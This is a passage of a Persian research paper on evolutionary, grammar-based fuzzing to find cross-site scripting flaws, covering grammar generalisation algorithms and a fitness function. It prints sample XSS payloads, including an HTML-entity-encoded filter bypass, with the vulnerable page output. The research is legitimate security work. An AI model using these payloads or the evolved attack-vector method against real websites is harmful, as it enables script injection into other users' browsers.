هـاي اولیـه را    کند بلکه قادر خواهد بود هریک از جملـه  میتولید ن
 طور جداگانه در خطوط جدا از هم بازتولید نماید.  به

نیاز ادامه کار است اما  شده در این مرحله پیش تغییرات اعمال
این تغییرات کافی نیستند زیرا هنوز یـک مشـکل بـزرگ در ایـن     

امر، بازگشتی نیست هم این است که این گر گرامر وجود دارد و آن
و به همین دلیل فقط قـادر اسـت همـان بردارهـاي حملـه اولیـه       
خودش را تولیـد کنـد و بـیش از آن خروجـی جدیـدي نخواهـد       
داشت. ولی نیاز است که بتوان از روي این گرامر، بردارهاي حمله 

عنوان داده ورودي آزمون از آن اسـتفاده   شماري تولید کرد و به بی
» پرشی کـردن «ن معضل یک عمل تعمیم به نام کرد. براي حل ای

شده در الگوریتم استنتاج  شود. تغییرات اعمال روي گرامر انجام می
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 منظور پرشی کردن گرامر در ادامه توضیح داده شده است. به

 تعمیم اول: پرشی کردن گرامر -3-3-2

 فقـط  که ایجاد شده است گرامري طور که گفته شد تاکنون همان
 به اول قاعده در دقیقاً و کند می را تولید قبلی جملات تعداد همان
از  | علامـت  که بـا ( وجود دارد قاعده تولید ورودي، جملات تعداد

انجـام  سـازي  فقط یک مرحله فشرده درواقع و) اند شده هم تفکیک

 قـادر باشـد   هدف این تحقیق این است که که درحالی است،  شده
فلـذا لازم اسـت تغییراتـی در    کند  تولید جمله بسیار زیادي تعداد

این تغییرات اولاً بایـد کمـک کنـد کـه جمـلات       .قواعد داده شود
تولید باشند و ثانیاً نباید با مجموعـه بردارهـاي حملـه     جدید قابل

هـاي متعـددي    حل کار راه انجام این ورودي در تناقض باشد. براي
ت توان پیشنهاد داد. روشی که در این تحقیق انتخاب شده اس ـ می

  گردد: صورت زیر پیشنهاد می پرشی کردن گرامر است و به
 

Algorithm 1: Jumpify the Grammar 
Input    : Gi  , a grammar in BNF form 
Output : Go , the Jumpified version of Gi , in BNF form 
 
Go ← Empty string 
RuleIndex ← 0 
while true do 
    RuleName ← ‘<R’+ RuleIndex+’>’       // <R0> or <R1> or <R2> or…… 
    RuleBranches ←  Find all occurences of RuleName in Gi that end to ‘|’ or ‘new line’ 
    if RuleBranches is empty then              //Rules are finished 
        break 
    end if 
    defaultrule ← FINDDEFAULTRULE(RuleBranches)   // <R1>::= or <R2>::= or <R3>::= …… 
                                                                                 // Each RuleName has only one default rule 
    defaultproduction = ←  RIGHTHANDSIDE(defaultrule)  // Right part of “::=” operator in rule 
    production ← Empty string 
    for each branch in RuleBranches do 
        if branch ≠ defaultrule then 
            //there may be multiple <Rx> in this branch, like <R1>...<R1>..<R1>..\n 
            while true do 
                TOKENIZE(branch) with char ‘|’ and ‘new line’ 
                subbranch ← First Token from branch 
                // Subbranches with empty right hand side are not accepted 
                if RIGHTHANDSIDE(subbranch) ≠ Ø then 
                    production ← append(‘ | ’ + defaultproduction+ RIGHTHANDSIDE(subbranch)) 
                end if 
                branch ← Find next RuleName in branch 
                if branch is empty then              //subbranches are finished 
                    break 
                end if 
            end while 
        end if 
    end for 
    production ← defaultrule+production 
    Go ← append (production+’new line’) 
    INCREMENT RuleIndex 
end while 

 
 
 
1: 
2: 
3: 
4: 
5: 
6: 
7: 
8: 
9: 
10: 
11: 
12: 
13: 
14: 
15: 
16: 
17: 
18: 
19: 
20: 
21: 
22: 
23: 
24: 
25: 
26: 
27: 
28: 
29: 
30: 
31: 
32: 

 .الگوریتم پرشی کردن گرامر :)1(الگوریتم 

 فعلـی  قاعـده  همین که این جاي هب آن ادامه ترمینال در غیر هر در
 غیـر  همین بین قواعد که در دیگري جاي به پرش کند،پیدا  ادامه

این کار  .پیدا کند ادامه بعد به ازآنجا انجام شود و دارد را ترمینال
کـه   هاي جدید قابل ایجاد باشـند بـدون ایـن    کند جمله کمک می

 :است این قاعده اگر مثلاً صورت فاحش نقض شود. گرامر اولیه به

happy <R1> day to you 

 و جاگـذاري شـود   <R1> اسـت  قرار و رفته است happy تا و
 پـرش  زیـر  قاعـده  بـه  لحظـه  همین از بیاید، day to you بعدازآن

 :شود می
I am <R1> of you 

قاعـده بـه    یعنـی  شود گذاشته می of you عبارت R1 از بعد و
 کند: شکل زیر تغییر پیدا می

happy <R1> of you 

صـورت   هـا بـه   شود بلکه پرش نمیالبته پرش در جریان اجرا انجام 
قواعـد   در مختلـف  هـاي  قواعد جدید معرفی شـوند یعنـی حالـت   

ایـن   .شود اضافه ها آن به | کاراکتر با قواعد جدید صورت به موجود
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کار اجازه تولید جمله جدید بدون نقـض فـاحش گرامـر اولیـه را     
 دهد. می

 خاصی قاعده که تحمیل است این پرشی کردن تعمیم منطق
 از بایـد  هسـت  هرچه هاي موجود میسر نیست و فهرست جملهبه 
 این در موجود واقعیت ترین شود. واضح استخراج فهرست خود دل

 هـا  تـوالی  و ترتیـب  این اگر.  است عبارات توالی و ترتیب ها، جمله
 بنـابراین،  دهنـد  انجام مفیدي کار اند توانسته اند و بوده موفق قبلاً
 هـا  آن اساس بر را تعمیم و داده اهمیت ها توالی و ترتیب این به باید

 ترتیب به شدن قائل ارزش همان درواقع کردن پرشی. کرد تعریف
 ایـن  و دارد وجـود  اولیه فهرست هاي در جمله که است اي توالی و

 چنـین  توسـط  تولیدشـده  هـاي  جملـه  کـه  کنـد  می ایجاد را ایده
 .کرار کنندهاي اولیه را ت هاي جمله موفقیت بتوانند گرامري

این تعمیم، گرامر موجود را به یـک گرامـر بازگشـتی تبـدیل     
کند. نحوه انجام این تعمیم روي گرامر اختصاصی شده مرحلـه   می

  .) آمده است1قبل در الگوریتم (

 تعمیم دوم: جهشی کردن گرامر -3-3-3
کردن گرامر یـک تعمـیم قـوي و مـؤثر اسـت کـه قابلیـت          پرشی

دهد و به فازر تولیـدي ایـن امکـان را     بازگشتی بودن به گرامر می
دهد که بردارهاي حمله متنـوع بـه تعـداد لازم از روي گرامـر      می

تولید نماید. اما این گرامر امکان ایجاد جهش در قواعد را نـدارد و  
کنـد از امکـان جهـش در     سـتفاده مـی  فازري که از آن ا بنابراین،

حالی است که ایجاد جهش  هاي ورودي محروم است. این در داده
ها تأثیر بسیار موفق خود را در فازرهاي جهشـی نشـان    در ورودي
 داده است.

منظور از جهش در فازرهـا ایـن اسـت کـه بخشـی از جملـه       
طور تصادفی تغییر کند. این تغییر ممکـن اسـت باعـث     ورودي به

جــاد خطــا در برنامــه تحــت آزمــون شــود و منجــر بــه کشــف  ای

تـر و   کـه عمـل جهـش هوشـمندانه     براي ایـن  پذیري گردد. آسیب
مرزهـایی در جملـه ورودي   طـور معمـول    بـه مؤثرتر انجـام گیـرد   

پـذیرد.   شود و تغییرات جهش در آن مرزها انجام مـی  مشخص می
مـال  بر این اساس در این مرحله یـک تعمـیم دیگـر بـه گرامـر اع     

) 2شود تا آن را جهشی کند. مراحل این تعمیم در الگـوریتم (  می
نشـان داده شـده اسـت. ایـن الگــوریتم بـه ابتـدا و انتهـاي همــه        

کنـد و   ها (غیر از غیرترمینال اول) یک مرز اضافه مـی  غیرترمینال
عنوان یک قاعده جداگانه بـه گرامـر اضـافه خواهـد      این مرز نیز به

شـود   ها ایجاد می و تغییراتی که در اثر آنشد. با کمک این مرزها 
 یابد. جهش تحقق می

 Mبـه   ،R0غیر از قاعـده   ،R) ابتدا همه قواعد 2در الگوریتم (
. <M2>به  <R2>و  <M1>به  <R1>طور مثال  شوند. به تبدیل می

گردند ولی قبل و بعـد از   برمی Rبه  Mسپس مجدداً قواعد جدید 
 شود. اضافه می <RBORDER>ها یک قاعده  آن

 پذیري گرامر تعمیم سوم: توقف -3-3-4
گرفته روي گرامر شامل پرشـی کـردن و    هاي انجام اگر تنها تعمیم

جهشی کردن باشند، یک مشکل به وجود خواهد آمد. گرامري که 
توانست هیچ قاعـده جدیـدي تولیـد     در ابتدا بازگشتی نبود و نمی

کـه   طوري باشد به شدت بازگشتی شده کند، اکنون ممکن است به
هاي تولیدشده بسیار طویل باشند و این احتمال نیـز وجـود    جمله

پایـان باشـد.    دارد که فرآینـد تولیـد جملـه در بعضـی مـوارد بـی      
مناسب است امکانی به گرامر اضافه شود که شانس تولید  بنابراین،

(و فـازري کـه از آن اسـتفاده     هاي کوتـاه نیـز بـراي گرامـر     جمله
د داشته باشد. پیشنهادي که ایـن مقالـه بـراي ایـن     کند) وجو می

ــی  ــی م ــر تعمــیم معرف ــه   عملگ ــک گزین ــه ی ــن اســت ک ــد ای کن
<RFINISH>   به انتهاي تمام قواعد تولید غیر از قاعده اول اضـافه

 توان در همان زمان پرشی کردن انجام داد. شود. این کار را می

) را تحقـق  2( شـکل ) فرآینـد  2) و (1هـاي (  اجراي الگوریتم
 بخشد. می

 

Algorithm 2: Add Mutation Capability to the Grammar 
Input    : Gi , a grammar in BNF form 
Output : Go , the version of Gi with mutation capability, in BNF form 
 
Go ← Empty string 
for each production in Gi do 
    if first production then       // Do this only for <R0> 
        Replace all occurences of ‘<R’ to ‘<M’ 
        Replace back ‘<M0>’ to ‘<R0>’ 
        Go ← append (production) 
    else 
        Go ← append (production) 
    end if 
end for 
// Now define <M1>, <M2>, … based on <R1>, <R2>, … 
for index from 1 to Number_of_Rules do 
    Go ← append (<Mindex> ::= <RBORDER><Rindex><RBORDER>) 
end for 

 
 
 
1: 
2: 
3: 
4: 
5: 
6: 
7: 
8: 
9: 
10: 
11: 
12: 
13: 
14: 

 .الگوریتم جهشی کردن گرامر :)2(الگوریتم 
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قبلاً اشاره شد که الگوریتم سکوئیتور یک الگوریتم خطی و از 

شده در  ) ارائه1توان نشان داد که الگوریتم ( است. می O(n)مرتبه 
  این تحقیق نسـبت بـه تعـداد قواعـد تولیـد ورودي آن از مرتبـه      

O(n2) ) از مرتبـــه 2و الگـــوریتم (O(n)  .روش  بنـــابراین،اســـت
گـردد   است. یادآوري مـی  O(n2)شده در این تحقیق از مرتبه  ارائه

ازحـد در   تعمـیم بـیش  گانه فوق موجـب   هاي سه که اعمال تعمیم
ازحد به این معنی است که در اثـر آن   شود. تعمیم بیش گرامر نمی
هاي کاملاً تصادفی) را بتوان توسط گرامـر   اي (مثلاً جمله هر جمله

تولید کرد. واضـح اسـت کـه گرامـر اسـتنتاج شـده توسـط روش        
 شده چنین مشکلی را ندارد. ارائه

 محاسبه برازندگی -3-4

که در این تحقیق از تکامل گرامري استفاده  با توجه به این
شود لازم است مانند هر الگوریتم تکاملی، یک تابع یا روند  می

محاسبه برازندگی ارائه گردد. این بخش به معرفی تابع برازندگی 
پذیري تزریق اسکریپت،  پردازد. طبیعی است که در آسیب می

عیین نمود. وقتی مقدار برازندگی را باید با میزان موفقیت تزریق ت
شود در قدم اول باید  یک بردار حمله به ورودي برنامه تزریق می

 بتوان تشخیص داد که آیا موفقیتی حاصل شده است یا خیر؟ 

شده کاملاً  در خروجی برنامه وب  طور مثال آیا بردار تزریق به
منعکس شده یا بخشی از آن منعکس شده است یا خیر؛ و اینکه 

به معنی موفقیت حمله هست یا خیر و چه میزان آیا این انعکاس 
توان به آن نسبت داد. ملاك تشخیص موفقیت حمله،  موفقیت می

اي برخوردار  شود. انتخاب اوراکل از اهمیت ویژه نامیده می 1اوراکل
گیري درباره محاسبه برازندگی نیز به انتخاب  است و تصمیم

ان اوراکل انتخابی این اوراکل بستگی دارد. فلذا در اولین قدم به بی
 شود. پرداخته می تحقیق 

 انتخاب اوراکل -3-4-1

ازنظر این تحقیق در یک حمله تزریق اسکریپت، صرف مشاهده 
انعکاس دلیل بر موفقیت حمله نیست بلکه اجراي صحیح 
اسکریپت ملاك موفقیت است. در این تحقیق دو معیار اصلی براي 

شود و براي  فی و استفاده میارزیابی موفقیت تزریق اسکریپت معر
ها دو معیار کمکی دیگر نیز معرفی و مورداستفاده  محاسبه آن

 شوند: طور جداگانه توضیح داده می گردند که هرکدام به واقع می
 تغییر در ساختار صفحه -1
 تغییر در ساختار محاسباتی -2
 نتیجه پارسر جاوا اسکریپت -3
 انعکاس ارکان بردار حمله هدف -4

در مقالـه   ]36[اوانسـینی و سـکاتو   صـفحه:   تغییر در ساختار
کنند که یک تزریـق اسـکریپت    اند بیان می باارزشی که ارائه کرده

                                                                 
1 Oracle 

شـود   یتعریف م DOMرا که با  HTMLموفق باید ساختار صفحه 
) مثالی از خروجی یک صـفحه  3( شکلمثال،  عنوان بهتغییر دهد. 

از ورودي گرفته شده و در  PAGEدهد که عبارت  وب را نشان می
 صفحه قرار داده شده است.

) خواهد بود. 4( شکلساختار استخراجی از این صفحه مطابق 
 بردار حمله (آ) تزریق شود: PAGEاکنون اگر بجاي عبارت 

 TEST' "><script>alert(1)</script><tr  (آ)
border=" ' 

) و سـاختار اسـتخراجی آن   5( شـکل خروجی صفحه وب مطـابق  
شود که در این شکل در  ) خواهد شد. ملاحظه می6( شکلمطابق 

ازآن یـک تـگ جدیـد     و پـس  >script<جدید یک تگ  11خط 
>tr< ترتیب ساختار صفحه پس از تزریـق   این اضافه شده است و به

 عوض شده است.

 ]36[ازنظر این تحقیق، اوراکـل انتخـابی اوانسـینی و سـکاتو     
دیگـر، در اغلـب    عبـارت  مهم و باارزش است ولی کامل نیسـت. بـه  

پذیري تزریق اسـکریپت در یـک برنامـه وجـود      مواردي که آسیب
توان به نحوي تزریق اسکریپت را انجام داد که در ساختار  دارد، می

توان یـک بـردار حملـه     صفحه خروجی تغییر ایجاد کند، یعنی می
 نجام دهد.ورودي پیدا کرد که این کار را ا

 
<html dir="ltr" lang="en"> 
<head> 
   <title>Administration Tool</title> 
   <script type="text/javascript" src="script1.js"></script> 
   <script type="text/javascript" src="script2.js"></script> 
</head> 
<body> 
   <div id="contentText"> 
      <table border="0" width="100%"> 
         <tr id="default" class="data"  
onclick="document.location.href='/index.php?page=PAGE&action
=preview' "> 
      </table> 
   </div> 
</body> 
</html> 
 

 .مثالی از خروجی یک صفحه وب :)3( شکل

<html> 
<head> 
   <title></title> 
   <script></script> 
   <script></script> 
</head> 
<body> 
   <div> 
      <table> 
         <tr> 
      </table> 
   </div> 
</body> 
</html> 

1 
2 
3 
4 
5 
6 
7 
8 
9 
10 
11 
12 
13 
14 

 .ساختار صفحه وب :)4( شکل
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این تحقیق که نوعی جستجو در بـین بردارهـاي   این امر به روش 
کند و چـون یـک اوراکـل مشـخص و      حمله است خیلی کمک می

نمایـد. ولـی مـوارد     تر مـی  سازي را راحت کند پیاده واضح ارائه می
پذیري تزریق اسکریپت در برنامه  دیگري نیز وجود دارد که آسیب

دار حمله، در توان از طریق تزریق بر وجه نمی هیچ وجود دارد اما به
ساختار خروجی تغییر ایجاد کرد. چنین مواردي عمدتاً به معنـاي  

کننـده در ورودي   آن است که یک سازوکار فیلتر کننـده یـا پـاك   
کنـد.   برنامه وجود دارد و از تغییر سـاختار برنامـه جلـوگیري مـی    

طــور طبیعــی، مطلــوب ایــن تحقیــق نیســت کــه از کشــف و   بــه
 نظر کند. گونه موارد صرف ها در این پذیري برداري از آسیب بهره

 
<html dir="ltr" lang="en"> 
<head> 
   <title>Administration Tool</title> 
   <script type="text/javascript" src="script1.js"></script> 
   <script type="text/javascript" src="script2.js"></script> 
</head> 
<body> 
   <div id="contentText"> 
      <table border="0" width="100%"> 
         <tr id="default" class="data" onclick="document.location. 
href='/index.php?page=TEST' "><script>alert(1)</script><tr 
border=" '&action=preview' "> 
      </table> 
   </div> 
</body> 
</html> 
 

 .خروجی صفحه وب پس از تزریق بردار حمله (آ) :)5( شکل

 
<html> 
<head> 
   <title></title> 
   <script></script> 
   <script></script> 
</head> 
<body> 
   <div> 
      <table> 
         <tr> 
         <script></script> 
         <tr> 
      </table> 
   </div> 
</body> 
</html> 

 
1 
2 
3 
4 
5 
6 
7 
8 
9 
10 
11 
12 
13 
14 
15 
16 

  

 .ساختار صفحه وب پس از تزریق بردار حمله :)6( شکل

دهـد کـه در    ) حـالتی را نشـان مـی   7( شـکل مثال،   عنوان به
) یـک فیلتـر وجـود دارد کـه حـروف      3( شـکل ورودي برنامه وب 

شـده (آ) را پـیش از درج در مـتن     در ورودي تزریـق   "و  'گیومه 
طـور کـه مشـخص     دهـد. همـان   تغییر می \&quot;و  \'صفحه به 
عنـوان   محصور است و به hrefدر داخل صفت  >script<است، تگ 

شـود و سـاختار صـفحه را تغییـر      یک تـگ مسـتقل تفسـیر نمـی    
ان در تـو  وجه نمـی  هیچ دهد. درواقع باوجود چنین فیلتري، به نمی

سـاختار ایــن صـفحه تغییــر ایجـاد کــرد. در ایـن حالــت اوراکــل     

برداري از  قادر نیست هیچ بهره ]36[پیشنهادي آوانسینی و سکاتو 
 پذیري را تأیید کند. این آسیب

 

بردار حمله (آ) با حضور  تزریق از صفحه وب پس خروجی :)7( شکل
 .فیلتر

 
به دلایل ذکرشده فوق، این تحقیق در انتخاب اوراکل از ایـده  

کنـد ولـی بـه ایـن انتخـاب       استفاده مـی  ]36[اوانسینی و سکاتو 
شود. البته لازم به ذکـر اسـت کـه تفـاوت مهـم ایـن        محدود نمی

 هـا  تحقیق نسبت بـه کـار اوانسـینی و سـکاتو ایـن اسـت کـه آن       
تزریـق   حملـه  یـک  وجـود  عـدم  یـا  وجود مورد در درنهایت صرفاً

کـه در ایـن تحقیـق لازم     درحالی کنند می گیري اسکریپت تصمیم
اسـت میـزان نزدیـک بـودن یـا دور بـودن از یـک حملـه تزریــق         

 بـراي  1گیـري  یـک معیـار انـدازه    گیري شـود لـذا   اسکریپت اندازه
روي آن  از که خواهد می »حمله موفقیت اندازه و مقدار« محاسبه

 مقدار برازندگی را حساب کند.
ــباتی:   ــاختار محاس ــر در س ــال  تغیی ــکلدر مث ) 7( ش

پذیري موجود غیرممکن نیست. در این مورد،  برداري از آسیب بهره
 اگر بردار حمله (ب) به برنامه تزریق شود:

 3B-alert(1)-%26%2339%3B%2339%26%  (ب)

) خواهـد بـود.   8( شـکل در این صورت خروجی برنامه مطابق 
حــال اگــر روي عبــارت مربوطــه در صــفحه کلیــک شــود و تــابع 

onclick  ابتــدا توســط مفســر   » ;39#&« اجــرا گــردد، عبــارت
HTML )و سـپس عبـارت   9( شکلشود ( تبدیل می )'به گیومه ((

A=x-y-z شود که در  براي اجرا به مفسر جاوا اسکریپت سپرده می
در  alert(1)دسـتور   بنـابراین، قـرار زیـر هسـتند و     آن، متغیرها به

 هنگام این محاسبه با موفقیت اجرا خواهد شد:

A : document.location.href 
x : '/index. php?page'= 

y : alert(1( 
z : '&action=preview' 

  
در این حالت در ساختار صفحه هیچ تغییر داده نشـده اسـت   
اما علت موفقیت تزریق اسکریپت، تغییـر در سـاختار محاسـباتی    

در یک عبارت تخصـیص   -alert(1)– صورت درج عبارت است که به
توانایی بردار حمله در ایجـاد   بنابراین،دهی نمود پیدا کرده است. 

هـاي ایـن تحقیـق در     تغییر در ساختار محاسباتی یکـی از مـلاك  
                                                                 
1 Measure  

 
… 
<tr id="default" class="data" onclick="document.location. 
href='/index. php?page=TEST\' 
\&quot;><script>alert(1)</script><tr border=\&quot; 
\'&action=preview' "> 
… 
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 ارزیابی موفقیت تزریق اسکریپت است.

تغییر در ساختار محاسباتی در این تحقیق، بـه معنـاي قـرار    
در داخل یـک محاسـبه و   شده  گرفتن بخشی از بردار حمله تزریق

تشکیل مرز محاسباتی در سمت چپ و سمت راست خـود اسـت.   
)، بردار حمله توانسته است با قـرار دادن  9( شکلمثال در  عنوان به

فی، در سمت چپ خـود یـک عبـارت    یک گیومه و یک علامت من
صحیح و یک مرز درست ایجاد کند. همچنین این بـردار توانسـته   
است با یک علامت منفی و یک گیومه، در سمت راست خود نیـز  

دار نمایـد.   یک مرز صحیح ایجاد کند و عبارت محاسباتی را معنی
این مثال یک حالت کامل از مرزشکنی در سمت چپ و راسـت را  

هد. اما همواره موفقیت به این شـکل کامـل نیسـت و    د نمایش می
ممکن است بعضی بردارهاي حملـه بتواننـد در سـمت چـپ مـرز      
صحیح ایجاد کنند ولی قادر نباشند مرز سمت راست را نیز ایجـاد  

هاي دیگري نیز ممکن است رخ دهـد مـثلاً ممکـن     نمایند. حالت
ی است مرز سمت راست هم درست ایجاد شود ولـی عبـارت نهـای   

ها در محاسبه برازنـدگی تـأثیر دارد و    کامل نباشد. همه این حالت
 در این تحقیق در نظر گرفته شده است.

 

 
… 
<tr id="default" class="data" onclick="document.location. 
href='/index. php?page=&#39;-alert(1)-&#39;&action=preview' 
"> 
… 
 

خروجی صفحه پس از تزریق بردار حمله (ب) با حضور  :)8( شکل
 فیلتر

 
… 
… onclick="document.location. href='/index. php?page='-
alert(1)- '&action=preview' "… 
… 
 

 ) ازنظر مفسر جاوا اسکریپت پس از کلیک8( شکلخروجی  :)9( شکل

سکریپت: طور که ذکر گردیـد، ازنظـر    همان نتیجه پارسر جاوا ا
این تحقیق اجراي صحیح اسکریپت ملاك موفقیـت اسـت. تسـت    

عـی و  کامل این موضوع مستلزم اجراي برنامـه وب در مرورگـر واق  
مشاهده رفتار نهایی است. هرچند این کار قابل انجـام اسـت ولـی    

منظـور   مستلزم صرف زمان و هزینه زیاد است. بجاي این کار و بـه 
جویی، خروجی تزریق بردار حملـه در ایـن    افزایش سرعت و صرفه

اي کـه   شـود و نتیجـه   تحقیق به پارسر جاوا اسکریپت سپرده مـی 
گیرد. در نتیجـه   زیابی تزریق قرار میکند ملاك ار پارسر تولید می

 خروجی پارسر جاوا اسکریپت دو حالت متصور است:
 شود الف) هیچ خطایی توسط پارسر گزارش نمی

گـردد. اگـر    ب) خطایی گزارش شده و محل خطا تعیین مـی 
توانـد   پارسر هیچ خطایی گزارش نکند، این موضوع دو معنـی مـی  

 داشته باشد:
 بدون خطا بوده است، تزریق کاملاً موفق و -1
یا اینکه اصلاً موفقیتی نداشـته و در سـاختار محاسـباتی     -2

شـود) هـیچ    هم درست و بدون خطا فرض می اولیه(که آن
 تغییري نتوانسته ایجاد کند.

مستحق اعطاي حداکثر امتیاز بخش پارسر اسـت و   1حالت 
شایسته هیچ پاداشی نیست. اما اگر خطـا توسـط پارسـر     2حالت 
دهنده یک موفقیت نسبی اسـت زیـرا محاسـبه     شود نشان گزارش

کـاري در سـاختار    اولیه خطایی نداشته و بروز خطـا مؤیـد دسـت   
اصـطلاح، مرزشـکنی در محاسـبات اسـت هرچنـد       محاسبات یا به

طور ناقص و با خطا انجام شده است. لذا این امر مستحق پاداش  به
 فی دارد:هاي مختل است و میزان این پاداش بستگی به حالت

 موفقیت در ایجاد مرز در سمت چپ -1
 موفقیت در عبور از مرز چپ -2
 موفقیت در ایجاد مرز سمت راست -3
 موفقیت در عبور از مرز سمت راست -4

در مورد آخر هرچه محل خطا فاصله بیشتري از مرز سمت راست 
داشته باشد پاداش باید بیشتر باشد. این تصمیم بـراي ایـن اسـت    

الگوریتم تکاملی را به سمتی هدایت کند که محل خطـا دور و  که 
 دورتر از مرزها برود تا اینکه خطا کاملاً محو شود.

ردار حمله هدف: تـوان   طـور عمـومی نمـی    بـه  انعکاس ارکان ب
اجراي صحیح اسکریپت را قضاوت کـرد چـون هـر بـردار حملـه،      

گردد.  کننده برمی اسکریپت خاص خودش را دارد که به نیت حمله
از » بردار حملـه هـدف  «در این تحقیق فرض بر این است که یک 

قبل وجود دارد و فازر در جستجوي روشی براي تزریق این بـردار  
حمله هدف به برنامه وب است. هر اسکریپت از چند رکن تشکیل 
شده است که اجزاء اصلی آن اسکریپت هستند. روش پیشـنهادي  

بـردار حملـه   «اسـکریپت   این تحقیق این است کـه ارکـان اصـلی   
را مشخص کند و سپس در خروجی به دنبال ظاهر کـردن  » هدف

که خروجی بیشترین شـباهت را بـا آنچـه     طوري آن ارکان باشد به
 مطلوب است داشته باشد.

صورت عبارت (ج) باشـد،   طور مثال اگر بردار حمله هدف به به
 ارکان آن به شرح زیر خواهند بود:

 <script>alert(1)</ script>  (ج)
 

 scriptیک تگ  -1
 alertیک تابع  -2
 است. 1که عبارت  alertپارامتر تابع  -3

به هر میزان که ارکان بردار هـدف در خروجـی بردارهـاي حملـه     
شـود.   مشاهده شوند به آن بردار حمله امتیاز متناسـبی اعطـا مـی   
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بهترین بردار حمله در این معیار، برداري است کـه بتوانـد تمـامی    
 بردار حمله هدف را در خروجی ظاهر کند.ارکان 

 تابع یا روال محاسبه برازندگی -3-4-2

مطالبی که در بخش اوراکل بیان شد مبنـاي محاسـبه برازنـدگی    
گیرد. هرچند توضـیح کامـل مراحـل محاسـبه برازنـدگی       قرار می

طلبد که در اینجا گنجایش آن وجود ندارد ولـی   فضاي زیادي می
طور مجمل بیان شود. لازم به ذکر  بات بهشود این محاس تلاش می

، 1000شده در این محاسبات ماننـد   است اعداد و ضرایب استفاده
و بـر   1طور ابتکـاري  بر اساس منطقی هستند که به 30، 10، 100

اساس تجربه و همچنین سعی و خطـا توسـط نویسـندگان مقالـه     
 اند. پیشنهاد شده

تغییـر در سـاختار   با معیـار  محاسبه برازندگی بردار حمله 
مراحل و محاسبات پیشنهادي این تحقیق جهت محاسبه  :صفحه

برازندگی بردار حمله با معیـار تغییـر در سـاختار صـفحه وب، بـا      
کمک ارزیابی پارسر جاوا اسکریپت و میزان انعکاس ارکـان بـردار   

بـردار  « 𝑣بیان شده است. در این روابـط،   23تا  1هدف، با روابط 
اختلاف خروجی  𝛿، »بردار حمله هدف« 𝜏، »ایشحمله مورد آزم

اندازه طول بردار یا عبارت  𝑙𝑥برنامه وب در قبل و بعد از تزریق، و 
𝑥 .هستند 

فرآیند محاسبه برازندگی با تزریق بردار حمله به برنامـه وب   
گردد. ابتدا ساختارهاي صفحه وب قبل از تزریق و بعـد از   آغاز می

ها محاسـبه   شوند و اختلاف آن م مقایسه میتزریق بردار حمله باه
شود. مبناي محاسـبه اخـتلاف ایـن دو     نگهداري می 𝛿شده و در 

. ]37[ 2ساختار، اسـتفاده از الگـوریتم هانـت و زیمانسـکی اسـت     
چنانچه تغییري در ساختار صفحه ایجاد شده باشـد بایـد یـک یـا     

د تگ جدید به ساختار اضافه یا کـم شـده باشـد. در محاسـبه     چن
شـوند، بـاارزش    هایی که اضافه می برازندگی با این معیار، تنها تگ

 هستند. 
ها در سه سطح عالی، خـوب و معمـولی    گذاري این تگ ارزش 

و ، ℬ ،𝒢هـاي   ها در مجموعه هایی از این تگ پذیرد. نمونه انجام می
𝒩  شـود. توابـع    ملاحظه مـی  3و  2، 1به ترتیب در روابط𝑏(𝛿) ،

𝑔(𝛿) و ،𝑛(𝛿)  هــا را  امتیــاز مربــوط بــه تــگ 6و  5، 4در روابــط
قــرار  𝑆𝛿در  7هــا در رابطــه  محاســبه نمــوده و حاصــل جمــع آن

 1000اضافه شده باشـد   scriptطور مثال اگر یک تگ  گیرد. به می
ها امتیاز کمتـري دارنـد. در ایـن     گیرد و سایر تگ امتیاز تعلق می
، براي سطح خوب ده 10هاي سطح معمولی امتیاز  روابط براي تگ
 1000و براي عالی ده برابر سطح خوب یعنی  100برابر آن یعنی 

                                                                 
1 Heuristic 

در لینـوکس نیـز بـا همـین      diffاین الگوریتم مشـتقات متعـددي دارد و ابـزار معـروف      2
 الگوریتم ایجاد شده است.

در نظر گرفته شده است. ایـن اخـتلاف بـراي ایـن بـوده کـه اولاً       
م تکــاملی بــه ســمت ســطح عــالی هــدایت شــود و ثانیــاً الگــوریت
 محاسبه باشد. ها کاملاً مشهود و قابل اختلاف

نتیجـه   8رابطـه   :ارزیابی انعکاس ارکان بردار حملـه هـدف  
باشد  𝑣(که ممکن است کاملاً مساوي خود  𝑣انعکاس بردار حمله 

قـرار   𝑣𝑡یا نباشد) به همراه تگـی کـه در آن محصـور اسـت را در     
ذخیـره   𝑣𝑡̅در  9دهد و همین نتیجه ولی بدون تگ در رابطـه   یم

گردد. با داشتن این مقادیر، یـک شـباهت سـنجی بـین بـردار       می
شـود کـه در    محاسـبه مـی   10در رابطـه   𝜏و بردار هدف  𝑣حمله 

 گردد. محاسبه برازندگی استفاده می

 هـا تـأثیر   اندازه دو بردار و اخـتلاف انـدازه آن   )10(در رابطه  
دو بردار را باهم مقایسه کرده و تعداد حروفی کـه   𝐶𝑚دارند. تابع 

ــد را    ــرار دارن ــاهم یکســان هســتند و در مکــان یکســانی نیــز ق ب
تعـداد حروفـی کـه در دو بـردار متفـاوت       𝐶𝑑𝑚شمارد. تـابع   می

 شــود  ضــرب مــی 3کنــد. ایــن تفــاوت در  هســتند را احصــاء مــی
 طـور کـه در    دد. همـان گـر  عنوان امتیاز منفـی محسـوب مـی    و به

گردد امتیاز تشابه دو بردار، مقـداري بـین    مشاهده می )11(رابطه 
 صفر تا دو برابر طول بردار هدف خواهد بود.

 
)1(  ℬ ={ script } 

)2(  𝒢 ={ div, img, form, iframe, input, button, … } 
)3(  𝒩 ={ a, param, meta, … } 

)4(  𝑏(𝛿) = �1000 𝑖𝑓 ℬ ∩ 𝛿 ≠ ∅
0 𝑜𝑡ℎ𝑒𝑟𝑤𝑖𝑠𝑒

 

)5(  𝑔(𝛿) = �100 𝑖𝑓 𝑏(𝛿) = 0  𝑎𝑛𝑑  𝒢 ∩ 𝛿 ≠ ∅
0 𝑜𝑡ℎ𝑒𝑟𝑤𝑖𝑠𝑒

 

)6(  
𝑛(𝛿)

= �10 𝑖𝑓 𝑔(𝛿) = 0 𝑎𝑛𝑑 𝑏(𝛿) = 0  𝑎𝑛𝑑  𝒩∩ 𝛿 ≠ ∅
0 𝑜𝑡ℎ𝑒𝑟𝑤𝑖𝑠𝑒

 

)7(  𝑆𝛿 = 𝑏(𝛿) + 𝑔(𝛿) + 𝑛(𝛿) 

)8(  𝑣𝑡 = 𝑡(𝑣) 

)9(  𝑣�̅� = 𝑡̅(𝑣) 

)10(  
𝑆𝑀(𝑣) = max�0, 𝑙𝜏 − �𝑙𝜏 − 𝑙𝑣𝑡��+ 𝐶𝑚�𝑣�̅�, 𝜏�

